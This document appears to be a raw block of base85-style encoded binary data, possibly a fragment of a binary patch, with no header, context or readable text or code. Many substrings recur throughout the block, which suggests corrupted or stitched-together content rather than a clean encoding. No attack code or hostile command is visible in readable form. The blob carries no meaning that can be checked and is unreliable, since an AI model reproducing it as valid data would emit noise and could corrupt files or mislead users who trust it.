z#9^v23OY@|rnx3g?21b{ecLC`@M;Ntc)^nMMS!YtwLCw;LH?V>JrOx z!^oT_Gy!cq$l2lv{w}dAPUW7X;Qs*m0J1n+>rQd!X=xyhKT*k`;4ya?TGMds@3rV69B|z z86bnAHf^}OX&*PjoKfvcJ=e0qH+imPyBkc0CuqAYIDaU9maQ)HtsP)p>|)zB-6eKC zUn6$!%6VdTHo>68IC!dilvd;|UXVEtfpeqdo)n^ae#mh@%J) zLDzE06Mdr3xR%N5>hT&JHsb3VQd2dk-{L`~@0OzLy7bc8gw+7g?Ey;LPkO8^=4j~t z$wh50^DKiOxzVg@(*?1_HKK4W8?$(9Ht0*OE( z@KgwR`N=-xsZw)YXFSo_XIvNC)RqV&0*OE(u!?|}pX@VMVS4=qPxP?QDEN-w@qsT^ zU`$5DT!Z{h;S&EIDP=)f6PKRuWHzH@fS%TtWXa!h`X5IX5A;?I67+G8||)Ilv<}>M2!bHY=ES|1d1*91y{LS}xaqf&pv+ z&w#vEOJ!Ez(z!+#LrxNbMBvpB@bZ&=#;axT41Yb*!#;yL2irX>2N;}lS}ygIY;7S4 z;^Oy-S60yHdXNEzT3eD`ymfNON= z%t<1U2)r5sUVgIAc(v@E;jbt9s(nWAA-sQ`muf1uai1Y^6fF%X!NCE#FD>N5&jBZw zc%}xNap`ptT2T2wEK7CwRp$p!IGi(h#Y-==R8{H%=M)EJwtfh6j4rXR>`&m~A&O6? zWmRm&m+PEM3Y_Z{Y`$QJpmh;%G@%1)w?|9AksGNt5l94XkARn->@#kU_rolBqKAD3Jj5=~ zlH=R`v=Fg``NNE-7Z}WIY|T(fka>p0WUwNWqGGYVT-YAVRC&`T^zsrn2rt5gEVoap9A zhZP(O2Mo?Ho;DDwf>#rq1YaFp&kt*-en7|P{@XAQ4Ceh6s51$v$HU)oU+$qOaL!1XS1!%q#Ey!94CWBtC9j zyu_lEs?UIaF3EvGpTQEo!#nlqs8{gX9JE30WL*Wr2^9CCSf2!X7%1MYEO`_lotX_! zwM60xYW>n<5uJfk4;kd=T0gNym(H9d0*OE(u!ew_pX@W%P8gUB+BGNz$g>qT)*TvF|XwhAh19W1M?sb2EI z=Fc1&uDTH5QzgIrS*eNunzR5r^lLjtv@`)^t)5fkYq?AOc=~vd?(qyTTJa>N8kT zSZTU-g$$wG2H>Qm)v!f8XyfI^KBFspJEHd)=UM?2tnm_TDO?hs-WVZAfHyphk*dok zG_;nrmVTL)lu85=fnN#%FF)C5ym9J1(W5>C5a^MB>PmQ9yqit{rO!2};au^q_P6Xa z*efVr;l@6%EKe_(kqMW8vU!Gt=0KcMb=f5QjLUFKsYDsDJ!4<%j;OD^i=)DijYI0+s)k?d2%`=?Qul4-=6N0C~Ac)8RxQ5x5%yUVgIA zxEt*EH{^+a$v)%$kfp^$AQ4Ce5`mv1;N>U#jGyEAv>H6o*=Ia$n$odXMPS-}&dc~b z`N`sqqpT02c64XLlc<|M0K9Q5ss0TR@bZ&=#v3GbEd)>WsLz}T!N4L=H_ZUj4kMiN$H0=uh&q?pG{(#d91A>CK&yTNpLMWYm zxqd@p4oieZ#DLNaJ>kEOEV0omFmRA9h)cG9mN6~72c2EwqW=45Fa#|qIl&M#%NE0= zEdYVv1Y3bQ7^nERcAF8*udjlE6Ea?)_T$Szmbeq48k|HPa}BviD-#th%2kHISKZKhIqUuTFX%aLCI<;OYo?`N=-x>hL~~ zLQnLl&!ETb47z(g_fwP+=R{39d`EGK*tcEh?CM;Ew*DOK<3Yt5r&lJ{Y=rQMvfAr2 zyf7wnS9X4G8G+5GLfO{X5;RpYlOcno!)s*Aga& zyW+Ud*nOgBofw@W6;V-4@MhYdx-PjD83MEOJ7VBbpFujA*F2a0&}YbD0PAz{hl$_t z&vVzos|mp7^Nf(Kyu2?0UVgIAxG(m1wdRSwW}gv);BL#Eoo5w~K@AH^PF}9<xS8@se`y9||_YCF2|b8~0?kj|FVogp*#^p;-VCu67m z9;NR7u9Nj!J3d%3pUeKFPZ>D(+5-)&om|4D0;C(I8fsl~L-W#(v}^*|E4^%Wi5?W^ z!9xlIE%5}yTqSXDICQ}TFTpTPxV`YN z?Dij>AjCr=phjw;ldYR5SRFsosJAT?!oq&YVRv4usWpS)fRk*n8^qNp1eeGee3q;u zMnM&%X}5noK!z@{H3SO%had;UWs4O0NuU<4{ZCfqR(y*Uh?k0zi%%6#hzI1ssmD1G z#27#qWWfwSLqs4J)_S2z`o{r(i4GO zBjDvH`;1$o{XqSm=uw}c@`*jVt$7H541-D_9%(qKleo0iqU!*d2m3fx>Aam&B6pY| z($HtXC<|4o<=K589e^Viyp7-Ozw!FnCA!pQb7pD{_RDk*q&zzVwy@-_hPM%qEvU@M z$vz{*a_dWY^;lSL9boEz2?V_SWS{X8DZ9)`PxPqIfOhTUsyCqn@TV7DZ&*LnXLNOT z1wriA;K1zlY0ST!GnlyPWx!Lt1#1;>!w|@U*()nKaUQpQ+hci&J_9+$g9i+CU4&?Q z=o|O!Gq&Gm$@!}x;N>U#j5p4{C;CL6@x~}zH#BtsYRImu|LwJT7xk<&0YEqw+}w@`@LCsM2bRTJ!rxs8b7(-UIb{k@}L z12Xcb{uhUC-URJ@n*^Oa6Hl1>@(a3=3Z|?)tPHC zQxOV+yp;H^DV$ph29$)i=Fk(Wo$Rv2qEw>{PqnOa$@zmeMC6>{hgX5(J`|{39{|K< z-L4A-9}p2epO@AFldd858P0}zh}V@%386+KvgVSz$2npNhLDLMu0CT8c~|R>Ni%d( zmfZ>U%WW6e{Dp2C`J9tP;LQ;5@{@hWnFrV5t0H(iR&kfn%&j;K3X|OjW0sKrdZz!htKc12;q`!AUmgOZ zyz3Y&e86~~+vdpKyhsGz5dkkh*=M|Ch7U1$qDOs(3N1GAZcjjlP;LWoQbG;7T+2$h!h~2c$1G+KbkMd6>nL+jk1C&Z%Ii&j|17QMblJ z6;2vjonsB{>iZQ8^ckq`f~XDohZJRjRiEbg%?8e49S5>0PEzDm$h+uW$DpLtXAfv- zpcCV)Hl?fc=fwBBZGMhPYDfg`jDVM)>@)5R{yoikqEGZ0_jGH!Efx$G!tv9T?K-=h zDz1YLKs@kgLa%`991Q}`(`V#u(0yl0?6jfFsIO#lBD>*KS7$$C|ENk6}oD*}0Yg(LH6y(oDAQ4Ce-V6aRKiOxzS#mubPxQ7v z!^_$W)JkelZ(&`aIP7;AcAQ5QqB{BL?97(3k1CUWS{XCDeVX0iQd*{uqdhoVgd^4qIVJ`;#`(h7EW+t_?(ec?VrQAXTj&_u)jeUmC=VL3rL?zSWiGq@HE`h!_$S`;g;SmkAIoq18q$dK2 zKqBzU2zdF)KI4@$dBS&3^tL|3t893@&%z0doXl3RK_qh^2F_C5Wy>PYLD>d7*{a;p z397KfJ_8HW!U>`jV(v$&3Z`Qs7%;Ge2@gl0E*_o4hKUSyBMN}XRjA88;|SBdNCXmr zH$=e8PxcvanBXNOPxSeH#-insKT9qDZS5!Bi+9({jckyGiPlP2=g*03LDZ)FTw!WR z1QLNn;K>m1@{@hWlO^Yx?s%fN^%;1Z&f{bWzowt-y7<-~E`_nNf!N3f<$NZwrS{9E zEzH4fTvB{$7m|_)Bm#-R`yk-uC;N=|$!imdC;C*M(Fi{g0euDz)^${9UgCV+W~i8z zLGW+@2bs@(1OmZ%;1_wti{#ye#;#Nvt0J|lpWm(PvB#h*`2%M-5$#&@yv_w<@)bHotF(76MiHy83l8Vvhw^NA8kmMJh;@c z@na70W5O{FKWiX=%SmT~HmCxn{k((U&uEtdKQFyG6ykDPSTVsRITzZuX)I~Ad(U@?GAdbVp3Jm}VbTSJ zhH!32(CID_y0Q{GRdLlpCSr2~OEA=W5=FlIw&pfc;D#TYG6Juk&cO44HN1_yd2PmBaEq{gfmxh zF2=zaalXoc6&x6TFHy6S!b_at#@ti_&_TqZF&P^Y%~hPG5DXm7xzN6UlE0WB)+jPp zE{O-{vC0DsKDIyy5lXpEpS!|hkvg6Hb0y)7LzKz+7D)Z2M}C|G=SJrt=-OZndZ@~y z=n|db*v-qYpc4lNjLyrv)VaILRWXB+6z2hvPErpUd`@wQkmz<@^Ww#2KfU~9pK%$6 zFCpcLzG|NlqUUQHx2z7`^rd;71X)~4e6lsFA^~(?GOqn}z{w?^sR3tPhSw5bZ)JJK z`l|CoFdWVqyy7JoD1u9>Ds_Q#ii0v&mz=pvlnL)WKlnitR zRa5m4s(f^b&Y(F>uU(Q(ZRF&+NMPA#!SnOMyhs&oNv&s%#K0iVK!-w5cn|On6hpA+ zoYIB~>1$G=gOhWfr>cTk#<|p0r5KCBdSyR41qP}m2emOM$vA_EoM=gtpxo8U$)7k+ zh12o<8I01IF46r7VRGr`XF&l~rO6IGchlteGgjA}cX8fza@dzd{K3S_Pxcu<0P@*I zJ<*r;8M=MFW|VsOt7e~*f-{FMIhiVdATGRzpZ<~~ zKh9+_1SS%}#upxzG_(W?MHtIm#mUCG&Qqo0EDAJZ=#mr1vt%GHo2im*LtaO>1GbhxYX#1Yt<)yD|RF55~X2k!qk!`^iyYu3^rd|U zw*0~2Jx zq!_0H=PG5XaLp@l;_yM)778ebLafpgGPFdl7S}kOgA;07a}a_pEGZ~*f~eupxdw7N z1tP7u^bGie5{Ym!R}V$hr5wZ3RC&0>bCJMtO*Qf*Q{{rfw1xRpk5;1?!cw3^oRn~e zRInI0nK<4Lk|mzPM|5ZlLFtv2Sgr4B+gKp@|)oH<#bU2COL^#F~@(z9s=cEP@i|M4o z%KO8Um!Ir2ehB6>i+iGneTLs>zCkEBGUyH#-6v8)4Z56Hs-4TWb4cOfm{vA)u5RaC z^xflU>oYed1tlj)C$^I65+yR86x%f(n@xJc(ByNMs8vqLqb+YpF(%RwCe+ZqnFHq*=Ose5yg#R2L|vl9wJOTR6ME9#45V)fd~A9?g)>aI*2g+e zt$O*%KI0TxFTC!F9`+fC5w|k$MZc$~g@`50PmZ9WtMjB1GEf!gFg>uoopYnJnWXbA`ERy6|UEOD&}rxV90vw{cMUfSIpu zZ9W6e%}ZW>vd`EI+v_oUqEGc1uNU22Jf3>5^SfA1BZn$}?%v0g;r!Uaoqgau{oGzE z&JBkSoFzqr-lnv_06l?qg$Qpc8E8CTLx!m!Ir2 z)^U3I6;E{b884sC3?LCm1QLN)LBPvT_8G5|wF~_8M89O8G3`F)`EYz*uhG5$N{H;= zNK6N3CN%!HdnbCCe<_s+Bm#-R(;(pGC;N=2Nz3&e@kEdMjJbT5bJlfy=;&n?#NG7m zANifaHMRx(z_P3JTgA$3|0&`8QBcL}aD~1E-=^uKEG~IFLUB4j^}2!bwKox#0)L1d z{QfB{%t@T4TPV8mNv&%GCtZRS98wirqM@&^k5WFqkgu{wNeU^8bI{y%BZ-MXB9I8& z8UZgq*=O7u?FZ`jM34Fmx`@)XR;Ug|t{h?^=WdFjk^g z=QiWXl?WsPiNN&{@bZ&=#`W=i8jYUlYxWr-K$bwX2s%{xx)pRy9Q{EUTlx%$umzFz zL7%}V2Rn3B(^0SBMLlSP+R3^KmY0B%f^`w)oC9p7KFs&FfJ@y9+J!|=1-w|g zLU)GswKNqyJkJ0doP-b5>6M!ehaPG865Ny9G#U(rK0}{+1h#INa>iF>&WXV#LQ&8m zE$s!&NwDjuYs+~ekO(9K_e8+UPxcx2ME=gUJkgi*8FV)kJP=vlc1xcDifS#YpdMz3 z(<#)scBU;A?6%L~64)mDeui6z189k;2Xh`1y!t#m5@5sRh8PYw$p+toxc69C^*)0h zs$W@)OLW+h6%gCziK<$cXb4W~D9!gXf}b*)lSCj9NCfVTfR~@_GwuxjJ z8fsX#Cm_SPj7bSK=yFZx79ckE8Cz6ck;nUtbJYTtsWv?>NUXZZJ6p~ZfkYq?cohV^ z{A8c;Dp|Y0Pfzry&wy$@5>T}Z@9B5b2?zAnTpC)PCsZ`cZ`o(GjaT*=P3Du32qXfp zjewV*>@!|FmqYJ8(I@(hp`M2=`iBMMrzt;lQB9Saq*kGL&?vOeBwGF-Qe9f{)pj?MGZ9Dx5`m{dz{^ke8Bddz>pS9!&OW2!+ifYj#0%2#A3yfp#=kV*zc{Jt zZy-3u?&qXbG9&_tKqBz02zdF)KI2)lbOpaW(ZfFDU&_b7;QJSNRR8h8n)e%u<;TZA ze15-8M+N0$fItKt@8DUgG3W6g%U+y=Z}*+DtQ>yQqGU1o2RO4b{%bjMNt~?lRKiN% zb!j`1_CpKem$Zo310W~+4Dvf5Cm|9T!T&YnTR-u<#1RfoIzMdrrNRuR>3>LvBhR}< z;!wLWM+|m5CITlXi9jOoGzfV4$v)$0(sF%AJkcBa40IbRMZck|sBf}CK{3<(Z}1tx zv}f}QhaLqKFPt9BmV&_=wx+?g{mthG4h~Ae6O3SGO`+3SBNd1jPU?hO^6PUJzhu>P zKvYL1PCvu>;y!~8BQZbsha2#q$?K4!R!rNJit1v@$W5J+)J)hVT zuNsBcO6wS1@`^~u)Mt=E#G|N}?{m1g_Zb0@Zl4hzdjP8~eU)(NrbB>h(uS$-2Rv|$ zEu$RX7^d`V;wg4mpwKUAoq&WpVJ$~=DKHC%oFoE?z$+l&gJp;mx6V%?MhC>-tcj4pE^IykflH=qsY7Wvjsu;EZDxAYm{SD0&t=;RiZ!0AZ| zmyC!xqRzlfVxAL$MBqgb@bZ&=#)~BF5;r~3=l2<~=oOt+2Sl|OEM2T#Dr~q6jlx+4 z<0LZ~ep{Zh5Ej*4y2RD4OHKrH%PAra;Sz`5y9aSBp)_^@>E_Eh)gg5`TOwtDI}RLd z?vjvqB17Q0?K8HA={jYIesXDy()Jut=gB*vg(xYBKqBxo2zdF)KI3W9a(zcU(ZfE2 zHGuDN_utZ(4h8t6OYPgxR^+ULLFQ1#TqhY+(zJAz6-nKHLO)UU&+RkdD$yQ*bN_H? zG4vU0Zk&~)vzXT`COr{I1RjKdm!Ir29+ZT8nDs<&=rdTrxWBjWo4XEQtIwbwzUK~) z^jo{m3=uwTf1$EO|1an>0EItPQ0y&4ccX+{jB|HZj?QAfTfAu~5l95KA>idF`;2Xv zy(E_>de~=N939Jyf2{7RyeM8)R$bde<_zIQo!^ewQ-%2kx6O9slQR)`Qv|&HWS{Y- zN#2L$iM~yr@y6g~Xo)}~kO({#0({7a2btpshtJ`&m!Ir2o+BqW@xl}Rj(rASb>V4B zmv|F+Q|XH!5I)@D$8+Jfxi}R4C!?QyZ|0eAT0LI67Gf7eoq|Mwcgt_hSHhnRA1^=I zXFOSQuIY{^`c$70_F`_D+G4mhYXNmL0v%OE}{vI}W5#3L? zvHxwS_!}bi50S_{UV7Cz8Bsuq-nL!2WJRVAd~rI zjwlW(^81F!5R?MHyl7(-6P<_ zu$y;J4elSlwCTVAWO=A<3d(&hBncEhD)m>~_`_4blVwYRC@KF?|Gv`xj^$BzB;96R zB@D`~%WYvOi<(eMb}^v_zn5I61g|&o@{@hW^>BSUO`hmeeMa~9Y_|8kUgUZS=|!SD zTieqG;@SsKf(hlm#gJb_`3bs+e0~1^?R`tM9aXjVY1+I^yEbmaVM}{ndo~;yj`80g z@PTrbqeLDWKup3j5CSCO6+{i>K@JHIqbLTFkN_f3yg>~K$bSXY%f8nJ3518YWwZXT z>f810xz}1%yY}8^pR>=&tg%vAHEXUp=lWLFn%`bkdmn{oZ#g@oHS|bcaNp`CkGq)+ zJ{b~WWJnBe7Fnd^8Q5!@fRG)rev@8?5+=RFLh@pOyv;nW`5G~^%XUlytn4AXZ+~Bv zXNxYEzYd2AhDP=!griwZ-%P#bkHZoKYT|5iQ{vQhs{w_+9js(?3fWc-4PoA55^7)b-jHdI|0fvIb& zWXub1w!8tEj49DTTWhQ*6(pob+z9`tBo?p<<3$;XXE1C;YwxT$BuHpK<`cRAG}k4Y zk0-S0$9cwhSWb0oJJ5r8hV2NiV_br|Pjr^2{;j+{aG~om)rAY8y zLUjQK5r!BELt>EF&sGz9%N{YjpkKjZT^Eue1#PK==_CGmR(1q2H%xYQuIuDU?;2CK zvSHWRv2u=r5JpAdLoM)V5806HK@%vwb969R+}KJ(W_>YuDo`GDN1-xR|C{*>J{H)P zy$;m6fn{EHgH=31Ey})G07pLOm}$LnB+qA#7}QI_hKH-C>Q4 zTDR%PdB&(HE`fG-pj+?^eR{xMVOhLx5==4nwwbNweL%sskgzgrb6DUlp#;+muRhON zH7m4nGJf7sx=S^MS!erpz|AP=Ymgb0ahn(TNOD>Ja9Ba49QvG-(p zNP4$Gu~Xu6ZN^A5INNfs>8uVqAi#ze6PeP|1dN1AoeSqti~x`T>hu>DE~Z)4W|m>l8;ipGWvK;w>HwBZ@_rQmfh z2n1DH-iAT&Y#w;A5Y>S!zpUsIVyFSa6k-qqM_LCBtntv^o3IdE1457M8M76yN(KJq=K6y5GqcFp$|Q}Idz9ivrUf}L(s3_P;mwoIkF)I zZK>1DGlGr>UWPhMddIYtycl4)%^2B4MUb(VO-j@S1|T(R#_1N#1GBIYw`KD{QxkN6 z3{o{o2CiZDOHo174pz|69tLU*Dd{l@U2xF`krNhW5j$AP;B7E8g|69F>KES@z;DB0(mV7CQE)Ld*s-SsFDFfYbZ(dmZQHnRL5t6hBe5XI{cY(t zXh=NK@izU9FWP44?C2+hSIo4GFffA2A+B>2bjQML?O6H9b;Zzd8z%8oH{lwXSe`L* zFlcBy$mJpuj+UcoM`xTc;BoWAAJp^t4UlWW!)0W6o>eJP6)`7MvRMkd`?G z69ilj0m8Zw>U=4qtAk37Y|Cpb*&I%1`>*6W=z_7(a#s+1pr-5+4{@C%#2FZ2zt~M) zoXNh7AZ&9R!fcEuBV=GfM@9(4HnF46yU%)W?!Ik{p`SIAp>;7rox`WmY;Qpb+qOZR zx^CN>ZLMk3kMoSyuq{1BJJ2n7#`JfPcMhijMVl1rtXHNA0Zwyv;%g4iCY5H*MLf$O zgUhlxo+WhAa>$yqY;$M*Y)b@!yTfvV_P0z+Uz1m}>Bo7-P(T>>+4{!#Yh( zg|y5`LBha}?sN5#3Ra)>BtC&P9ja64k%gkpEagzPz9f`2-1*7bQ-0~I%OtWAJ^V&> zS!}=L$fh6RsVP;y>c(AuQBiZ$5xEAAy?~=d8IGiPL}&-a_QKYaJ+f0X6D_ZtB*?U8 z?NHJNPiQK5)RojFTwFXAQt~%Wl0UPJO9B^g`}>F}*-Mn@CHH~_XJf$Cq$Tpuue(Ah z*K|R@ai@}w0-N^G#&2!1&O0%-X*JbH1us6tQ`Q|N_7aMl$DOh|s@prF6x#ITJVQ7w zzlt5`dF2@aR7yygK3H^V#@BSv7KdtX?*}_a;4V_SikmlR@)SdA;2Fvjyj|^#W+m1d zZCcGZFi6AoeISi!kh1og@@>I#O<^SYP59GPo#s#v$>7;pL6ksF36t z4A}1Nawb(VVaz$P0KIvaoUB+xTg)<*VDJMv}C z265U`aXlg{HvKryhyhzR54vRk#ylc7#}IO343#CnIk z&Gnh=5rxVzJmmEdgUkS|4kc~ygr>#_?kvxs5!)kbF68B{kQ&xAa1~h$XS3dVMvMtN zW%tp7ygeD#?Uiqx;!@OLp-oHVrKvfMX!FA6-kRmm+gm$~uRIQ}x*$&5TtgqkpENs~ zcbSTD4&sz%vSP2pQo*Jl=NU=NmWR*|^r$?8NZ7jl6N-D{2W)(vh>D!?!M7)&L$xt$JzkZ@=t;aRqgq0s%QA0mW)EM%Os z{fR&JYkhGBL`P;zp1~dk78sSCD}^WZZ8s@t!!zQ6TioGDdJpFJ02yH`Kp@eu2DnKl z2{KJdN0!^*NvFIHwFkV(9x*DZVOS@3dCLnc2#LNVmv>2|Y2&mPn2@oR7&m)1sM~Q- zLt(|s5=~knFHPOHv3+~*#QH&aJf!!)rViC4o&vyX`bd!!wh!LUh8T!h!!v?u(Q4AZkmu|?+m6{NHZ_MN20?05QsGtFe0?T+ zWCzFsMS}sz?5wpjRQKaC8mjpulov9j21w(s*}w!iQy?ay;MR+qTM7LJv!d)rX|>yw zt?H)Aq|Kpb1{+~qAHlmdg5GhaO~z?8BSs2WWRO)%D2E#db6U05Ne3a8-s%cy=_C z5iY!NAwz1(5<=MVu%;h*-C6D7if1qd!=cpOVZGanA@&v9gw9YiLu_+Q@3uK70k}xU z8M~$=#ky?zah_3!+%k~cfgZ#&mO*zX(FM+@&3R}Ne%)pgfm3rhCYRJl#&dEZCC42? z=E4!ULY+aE&ldu`7$SCM(~t9v`2u?i?bv~Ko-u_3!mJj>pF~twK20>48FhE8#iP0zP_9+U%LAsjWpW&u21Z@p7{U?J308>C9wR zNS2PUIfL({*g&?na1ope^n<=b-#$-=J2j{47>Z>7WY$`PX41P{AmFS5gs9r)w(n|^ z^zK4Oz!7i+77PKKew=4480-u0$PRQ9&tPP64pYQTW^1#qfSPe~rJBux4K`(*mAMsN zuA`g^xiwhFGi;Kk5d>z1){!!Op3kT|P_X*au^q8S5S7j7$;hq#z`FGw1cSo{o`05Z3VGISfBq2|rRrH*GH7@m^% z2A;vij5(~|bo#i0&GdmanCBo7-yu&*^2JJwP!ZVaR^L)m>9zpgXS^%{yE0zby7(_Av1U0Rs z4jruu*feYn+F%e5N)}~w8bM%8y3j!#F?33zVAHwH&0Y_lr5wPjUdB(!yzhEBiK##&R7-*0MAw;r7T15)i zrd$iTWfj!45;aLy=t~JZ<{3N%HT!;s^^O2QiIl2wh|(!}2Cb1WSw{>~Y6vW7ZaEgt zTAo3h_7P07UlPI>gRv60Zt#v%8PKktD^VGH;?Dpm?3CSE0euI~sq0*=7s5U}aTdB)^$UUbWLpqqFG0@ad$a#--0ey%g1J9@4m3$e`s zCZf~Jl4p!Vyqsr5*N6)o0Y_jO5wPjUdB!x3&^*Ot2YLX{m?w|(Y{otmXkJYj)3HdE zNK$N2Iv@(;tVuLjZt%`l_UTE6#V6k!0Y|_Qm`Vg}`f;8yl|wW?LD_*`l00L6U~nr9 z2xNHO#*_w4KjjEG0**jy1Z?_op3xe%rKe~I+Ihy(8@~mOxOnb`cU%|Lr#o{59D(JE zfK5NnGnVTpqhEHQ8+k_Xp%(cDSqB@k4(cqZYs+eK5`G#S%4`ee;z@%kYTjIln{*oU zAN6U|YBHF>8WbQwV8O;L8=ngFc?dNY^)#@CL+PL*wT_WX7@$OXEM#|Jq0MF;Aprhl zdjJSQ2!z%?jR-4yh#+CMZo?^CU?J<5bgGtC4LaPCLNu{*qGTngE7Yu17Q#G~a;I{{ z{{!XzlYZm~I0B;~VAGHDjL|S$60Ph&H}VYjreVTmHiClH4CZT`qMGJ+C{PCpAg}6` zjqrc!Kn(?(DyVlF+tz8K6;8pd^)6xQq_?9S`dLp_)T}=1>RrEL`beF^X;{uH&QWKU za`~k%31tm-nm22onre$f)m4EIzF^i`4vg4CDmTX{+XihC#8K)}ZPH0j;pnRA%aI z4ha-cx5`Oj*|gX}pGA_O(y44pu0B#C1=vBI8|o<9AjcttgwP%i!!&f^`^e@IZs7&yNt6PsxfR+$6xGDFxpCD?P*AuAn|W^}63?f!4G3-z(jDo0SF z5Nbip_7v)D!rtX&b2?yM`%WpvUJ_WwrbAXNp0P6YV) zj({UD1_CzyIL{aZ$Z2nC2YOVV!9E5PI;Um`wb>NNd|)#Q)beVsSChI5eOY}-Q0lfi zO&bz)n9pE``rIQ(awBCsD!^A}G?mGCmTlD}85lHC?8deP$I1m1BMH!xkd@4~tgq9T z!loiE;gw}0abOD&Ey3Yv}zDq@6wDN(Y`gShA&aO+U^vhR1Kow6Fu+$TQF*edrWRfRO1584CsVfg3etA^31Pu(?&BDN5kF!Fzj6 zYk$&p1kAu}c%m8*LO~nqRKuQx1E-QgHEFJ}t@Dg#lz289hLp51=sJ#oBhdeKN9P&K z_=*^YXDnkF#_1XpwwTj6rj}gWrQ7$G1eYDmoo6h$OVa~h0tndj<2+*t4A`h4+JPRl zo-wKqZ?|9w@Q<6|SI<%WN5>Zoc6a0mI07ReVAGHDj1d4_DoyM_FG-%UV1M7F&4?Bs zk~>9?N9o{0@Zvp{;2)?P_?PY4bjo!c0Y|_Qm;?eg{W#B<1j18d(++eK&#)hqnMd)u zhE1yw+N?%>D`AK2pI3!sgg^RKyd`2jtXqTj6k_XiW-_dMmz$*{Y|h|2DK@|)9h?gE zgTBLN@%~D+!JV4ZbqqzN+xNfBT5HrGq>|en1-=jri<~BdS1a^4L;Urd{;V#{!lr_x z7wi!g!Iz|CfDM}0`|&f5fFp1UAz;&w^NeLY@OGe^cm^Q|Qk}(xX>V=Tl~Gf9PMTC> zvP8NP6(He=_0d+2CjPRJICjcn0)?Pus8)MI#5DI!QDLfW(m*oKF;_7o1$1opvS=rnMIsA!N*X$ty* z8qWrM1ry6*q3~BN7|3_=s<7^arFP7gZe+PptmQYV?MdyP$vzK~YA#XN(jpr(g1(6rtW z04Nddpw7}M(=)A+Fj+_J4m7C-gF$o4v2fP%4BFH~1cu$Phc9`tYK(zAgDwyci}ZtT zW+h4kgNG4nT6e5-T%e$Wj@0#?J(VUxO*W6cxWo}~1WrK&Z2EDYv5YSOJJ3x$L%9lB zM5)f=LWLmRS_RZ)gcgvlL*8V5?9lJo=(iCz-? zKy%&?$8_GPj7?dQ8`2Hjl>K1&)9tupAJu>Bo7-av0H?KG=aCz%yzr zEV9_H)io?JY(sOqet!tI0BBq z5<|eIALkiMZ19E&*A8?O&&ad2dH;rQsg|qpa}v*)M+MZk5=PaTTLJyz8?NP6zMs*d zg>2-f0#%30_dhb)L2RAQT!t4-Q;!N7G#Md7!XDOE%&g5j=t}uDmC6_YFW*_ogHwb> z!T_b*bidzN5oqZUD#b>Wg62u+q-^n&Fz|xIz)`2{THwewXE!0i1|aZDur|(43K=>j zm}}Q&*s#M@kwJN8tp!=ltq_i&N#s%2rtaHLA##p&;U>eSh5i*Ad(^4ILoc$@J5D7B zu51+U%D@NMv{wjwAxELP>X6c z(oseUB1s<7HFK3PuQN+Il$Dj?OF|{xq$3Es-9-CNK^c>ADu&nyo7?VNo$gi9&oky$ zfU|bkJM~mT^`e7lI>jy-lJ$bR&C}Aih(Sj@gK}8LRu{SKX9YoO#WQHIjZGN0kO~A0 zmaQ`etEs5G;s`7Q1Z?_op0NxDw5|(wpy!ik1paIq;B<^+z$um7!Y2NpZTmxO1i3^c zCbrO^$y3T12(ON3@H6pTR%GZ7(qZ))s!eZ!HJG)UabT1v*(m8E9a^(cL;9g9DI-fI zg-I_q*Jen!Xq)5z-qtZaic?+CypGKzc}BLjSQ}%4r=1MTBqjN<7egswSGSNdo&XR*YBlSux!e(0iU`>B<2++2j$q4} z?Ld#hGwgJ{Vy+{voE(`pAcPt|6yk#+6AwReHcziIg$gx`>`|`U2WuqKw82n0L%x|= z8_Ubj$sOugO_@SPG>AL{Y6Y9fiXAA0&0)49XlPI2PC6ND_%or|byvghF1n z#MNS&iT!B18 zi5xlu6G^sqMV5Eg7M!6w97nDr9BiWXGXN zHG~&5Z%9IM%xX)-Y-fdDXRcTt2q3jW+e&rDkA~dPT)rq_oP@N}D*k6yj+@J}tpsXl zo|PzBd8fn^tpensY1awRwgI}JEtC;w&?5+8volvb9*PIfhHdLvL5~wW14g)IRh*r& zBkUT44Hqix2kapU2*U_8ZERk51eP=cHvKrySkgn;9K0RqCZ3`6iMch-dGJAnhD;zG zS+HqUSyQ}3amU#r836R>g=fg`!dEOH@?Mv>Cq$*ND5_Y#i_I5_lvOszP=7BA1{0NxL!GRZ>pPKdCYX&YRdKlm-K zeP0$h)!ET$A0%2~;Q^ai7a{7D%M9)9jG#G!qxO)t*Bl{oZ{i3nA_6x3IL}zbfta*w zJJ17o#-u}8Hul8;M5mTb*A}KDqw$P5wh_{QY^05(y(3*4B!UfBNPEpT5xR~eFog)% z^y55Z3I}MuLb3zxJY&94opw8A4x6`MMxXZHdVG$6BQTW+*!1H(V=9MeeuAsW@U|?f_)bLl4=kP0?tZ626mI0@*=Zz z7dH>QcgjvBg~{%?&=GJ19DzCnZ2EDYQHRnpklTT7;u-8J*@IG`?LSjg^?Ty2cm}ea zr~nB^b21hwVNRuY`ejIUJi}&XIkH0A5u1b69Vl3R=_H|mGNNKirsZVh)@fZ`j;h}P z>nhq{AhPU%e(SnvHS>}i2{da{&23;5T1;>@DYUJ;?g%&njzAItn|?;&85!n2V;B<} z3bzhs;i?}0U#B@&THsmfzz*t|AA_x!I#Z_teI8O1d$g+Cq+``Ol@}{4CTmk@Gbya| zwXkwK(DTVNf?fn4l$qgdGE=q-8uC!hVeZ2`}qSgkTB*KZ(mvc@JlR3jS$VFcEH14M588QoxSs7B?95(5T z2B}sjgxohrz!7i+S|VW6&s6Y?PQ@FFS+8O$5(d4Z9BNtr39HXKCf4>FUBfIkSVo1- zX$ohtv2Nvc!cu+FcXpsh;TbkF+0WcaUC2zxbKIboWyQ<&mKHFh^Yby2nbKGi7xEIA z?ErehU9KEJ!jZ7SK!}pzRR1P&LyyowkchTZ+N6+m8y;-fQ#eEuw1rlko@5*;e)gC?xlaBj5-)0__p7>1Q~e zfq5?|#Y9#Xy6;phAsJ1BrZo#A*szBXv!31PE=!%Y`e+!Gz>c-adNI9L9igeLJi$7f zLz0&vS>>cKw!at>JJ6%>j2<$bzVy#DJO^m1O}Q3Xle9p|3@XWNS2gYXzW}z=OW2mU zSR+u=Lm9NU-Vp%OHtnF!(kX|H)|k|-BX$RxRD;2wdB6iK&!ElVaYJ91`VTD6z!`Rm zL1J%XlMs~*@wezEHG|+GWOy-3u*vwL!@{vk3X2GQa|9d#N1z=7HvJ68GiX06Kk>^K z=D?uvR3Pj`YETHaVu~y|1mx7mJ}ZSdB_Zk}9HqGL6b{$~I@t2El+`d!7{`V^b+D%w z9kPPQI@&ssa?*nI7qwysx`}5f(IVL}(*$8tAxO7L9a#X9q5_t41g)A6neZ4=1J7tS zGVf;*RR=)vS{c%Mz%!DqVK{iKlT>q|Bj5-)0#l2CO+WL-GuT_CVU)TJlQRl8t4Y$p 